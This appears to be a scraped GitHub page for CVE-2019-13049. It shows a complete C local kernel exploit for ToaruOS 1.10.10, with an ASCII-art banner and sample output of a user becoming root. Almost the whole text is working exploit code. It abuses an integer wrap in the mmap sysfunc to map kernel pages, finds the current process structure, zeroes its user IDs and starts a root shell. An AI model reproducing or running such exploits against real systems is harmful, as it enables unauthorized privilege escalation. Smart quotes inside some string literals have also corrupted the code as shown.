Headline
CVE-2019-13049: kowasuos/kowasu-sysfunc-revenge.c at master · mehsauce/kowasuos
An integer wrap in kernel/sys/syscall.c in ToaruOS 1.10.10 allows users to map arbitrary kernel pages into userland process space via TOARU_SYS_FUNC_MMAP, leading to escalation of privileges.
/* * The Mickey Mouse Hacking Squadron proudly presents * * CVE-2019-13049 * * ToaruOS 1.10.10 sysfunc local kernel exploit * * PART II: THE REVENGE * Starring * * Kay ‘Integer Wrap’ Lange * Mickey Mouse * * * .-“"”-. * / . - \ * \ / * .-“”-.,:.-_-.< * / _; , / ).| * \ ; / ` `" '\ * '.-| ;-.____, | ., * \ `._~_/ / /"/ * ,. /`-.__.-‘\`-._ ,",’ ; * \"\ / /| o \._ `-._; / ./-. * ; ‘;, / / | `__ \ `-.,( / //.-' * :\ \\;_.-" ; |.-"` ``\ /-. /.-' * :\ .\),.-' / }{ | ‘…’ * \ .-\ | , / * ‘…’ ;’ , / * ( __ `;–;’__`) * `//’` `||` * _// || * .-"-._,(__) .(__).-“”-. * / \ / \ * \ / \ / * `’–=="–` `–""==–’` * * local@livecd ~$ gcc -Wall kowasu-sysfunc-revenge.c -o kowasu-sysfunc-revenge * local@livecd ~$ whoami * local * local@livecd ~$ ./kowasu-sysfunc-revenge * [ ] Scanning for ‘current_process’ symbol… * symbol: 00122844 * current_process: 0186b010 * [ ] Sanity checking ‘process_t’ structure… * getpid(): 103 * current_process->id: 103 * [ ] Spawning self-righteous root shell… * 0@livecd /home/local# whoami * root */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <unistd.h> #include <sys/sysfunc.h> #define KERNEL_SCAN_START (1024U * 1024U) #define KERNEL_SCAN_END (1024U * 2048U) /* Partial process structure specifying the members we need. */ struct process { pid_t id; char * name; char * description; unsigned int user; unsigned int real_user; }; void *memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen) { const unsigned char *p = haystack; const unsigned char *end = p + haystacklen - needlelen + 1; for (; p < end; p++) { size_t i; for (i = 0; i < needlelen; i++) if (p[i] != ((unsigned char *)needle)[i]) break; if (i == needlelen) return (void *)p; } return NULL; } void map_pages(void) { char *args[] = { (char *)0xFFFFF000, (char *)0x20001000 }; if (sysfunc(TOARU_SYS_FUNC_MMAP, args) < 0) { perror(“sysfunc()"); exit(EXIT_FAILURE); } } void spawn_shell(void) { char * const arg[2] = { “sh", NULL }; execve(“/bin/sh", arg, NULL); perror(“execve()"); exit(EXIT_FAILURE); } int main(void) { struct process *current_process; uintptr_t addr; pid_t pid; pid = getpid(); map_pages(); printf("[ ] Scanning for ‘current_process’ symbol…\n”); for (addr = KERNEL_SCAN_START; addr < KERNEL_SCAN_END; addr += 4096) { void *p = (void *)addr; if ( (p = memmem(p, 4096, “current_process", 16))) { current_process = *((void **)p - 1); break; } } if (addr >= KERNEL_SCAN_END) { printf(" not found…\n”); exit(EXIT_FAILURE); } printf(" symbol: %p\n", current_process); current_process = *((void **)current_process); printf(" current_process: %p\n", current_process); printf("[ ] Sanity checking ‘process_t’ structure…\n”); printf(" getpid(): %d\n", pid); printf(" current_process->id: %d\n", current_process->id); if (pid != current_process->id) { printf(" mismatching PID, exiting…\n”); exit(EXIT_FAILURE); } printf("[ ] Spawning self-righteous root shell…\n”); current_process->user = 0; current_process->real_user = 0; spawn_shell(); }